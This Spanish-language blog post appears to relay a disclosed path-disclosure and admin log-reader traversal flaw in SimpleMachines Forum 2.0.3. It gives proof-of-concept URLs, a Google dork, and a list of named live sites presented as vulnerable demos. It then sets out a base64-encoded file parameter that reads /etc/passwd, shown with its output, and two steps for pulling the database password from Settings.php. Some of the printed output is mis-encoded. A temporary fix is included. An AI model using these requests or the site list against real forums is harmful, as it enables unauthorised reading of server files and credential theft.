This page looks best with JavaScript enabled

Path Disclusore en SimpleMachines Forum <= 2.0.3

 ·   ·   3 min read

Ahora venimos con un Path Disclusore a SimpleMachines Forum  una falla de seguridad encontrada por WHK la cual publico en su foro, falla que permite conocer el directorio local donde se encuentra el sistema web. 

Detalles:

SSI.php Linea 294:

// Fetch a post with a particular ID. By default will only show if you have permission to the see the board in question - this can be overriden.  
function ssi\_fetchPosts($post\_ids, $override\_permissions = false, $output\_method = 'echo')  
{  
$post\_id no está definido. Posible solución: ($post\_id = false)

Prueba de concepto:

http://example.com/forumpath/SSI.php?ssi\_function=fetchPosts

Google Dorks:

inurl:?index.php?action=help

Demos:

http://simpleportal.net/SSI.php?ssi\_function=fetchPosts  
http://www.furgovw.org/SSI.php?ssi\_function=fetchPosts  
http://www.teachmideast.com/forum\_old/SSI.php?ssi\_function=fetchPosts  
http://www.slowracing.com/jaxfox/SSI.php?ssi\_function=fetchPosts  
http://www.iptv2you.com/board/SSI.php?ssi\_function=fetchPosts  
http://voceteopr.com/SSI.php?ssi\_function=fetchPosts  
http://www.thesilverball.com/SSI.php?ssi\_function=fetchPosts  
http://othforums.com/SSI.php?ssi\_function=fetchPosts  
http://www.skinmod.eu/SSI.php?ssi\_function=fetchPosts

Solución temporal:

En el archivo SSI.php linea 45 dice:

$ssi\_error\_reporting = error\_reporting(defined('E\_STRICT') ? E\_ALL | E\_STRICT : E\_ALL);

Reemplazar por:

$ssi\_error\_reporting = error\_reporting(0);

Funciones afectadas:

. fetchMember
. fetchPosts
. fetchGroupMembers
. queryMembers

Mirrors:

http://seclists.org/fulldisclosure/2013/Jan/14
http://packetstormsecurity.com/files/119240/smf-disclose.txt
http://cxsecurity.com/issue/WLB-2013010025
https://foro.elhacker.net/nivel_web/path_disclusore_en_simplemachines_forum_203-t379876.0.html
http://www.simplemachines.org/community/index.php?topic=494435.0

Pero bueno esto aqui no acaba WHK nos trae mas información y aun mas detallada y lo cual ayuda a completar con este post, encontrando otra falla de seguridad en el panel de administración, específicamente en el lector de archivos de errores.

Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:

http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog

Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:

// Make sure the file we are looking for is one they are allowed to look at  
if (!is\_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))  
fatal\_lang\_error('error\_bad\_file', true, array(htmlspecialchars($file)));

Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:

strpos($file, '../')

Ahora, vemos que no necesitamos el string “../” para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.

La pueba de concepto:

http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=

donde file es /etc/passwd en base64:

1:     root‚ĚĆ0:0:root:/root:/bin/bash  
2:     bin‚ĚĆ1:1:bin:/bin:/sbin/nologin  
3:     daemon‚ĚĆ2:2:daemon:/sbin:/sbin/nologin  
4:     adm‚ĚĆ3:4:adm:/var/adm:/sbin/nologin  
5:     lp‚ĚĆ4:7:lp:/var/spool/lpd:/sbin/nologin  
6:     sync‚ĚĆ5:0:sync:/sbin:/bin/sync  
7:     shutdown‚ĚĆ6:0:shutdown:/sbin:/sbin/shutdown  
8:     halt‚ĚĆ7:0:halt:/sbin:/sbin/halt  
9:     mail‚ĚĆ8:12:mail:/var/spool/mail:/sbin/nologin  
10:     news‚ĚĆ9:13:news:/etc/news:  
11:     uucp‚ĚĆ10:14:uucp:/var/spool/uucp:/sbin/nologin  
12:     operator‚ĚĆ11:0:operator:/root:/sbin/nologin  
13:     games‚ĚĆ12ūüíĮgames:/usr/games:/sbin/nologin  
14:     gopher‚ĚĆ13:30:gopher:/var/gopher:/sbin/nologin  
15:     ftp‚ĚĆ14:50:FTP User:/var/ftp:/sbin/nologin  
16:     nobody‚ĚĆ99:99:Nobody:/:/sbin/nologin  
17:     mailnull‚ĚĆ47:47::/var/spool/mqueue:/sbin/nologin  
18:     smmsp‚ĚĆ51:51::/var/spool/mqueue:/sbin/nologin  
19:     apache‚ĚĆ48:48:Apache:/var/www:/sbin/nologin  
20:     nscd‚ĚĆ28:28:NSCD Daemon:/:/sbin/nologin

Ahora… que pasa si queremos obtener un archivo oculto del foro? digamos la conecci√≥n de MySQL o la contrase√Īa de un IRC?

Lo primero que necesitamos es saber cual es la ruta absoluta asi que hacemos lo siguiente.

Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts

Obtenemos la ruta:

Warning: Missing argument 1 for ssi\_fetchPosts() in /home/spadmin/public\_html/SSI.php on line 316

Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:

http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=&line=35

Donde “L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=” es igual a “/home/spadmin/public_html/Settings.php” y la linea 35 es llamada para mostrar la contrase√Īa de la conecci√≥n a la base de datos MySQL.

De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.

Mirror:
http://cxsecurity.com/issue/WLB-2013010045
http://seclists.org/fulldisclosure/2013/Jan/27
http://packetstormsecurity.com/files/119302/smf203-disclose.txt

Share on
Support the author with

Avatar
WRITTEN BY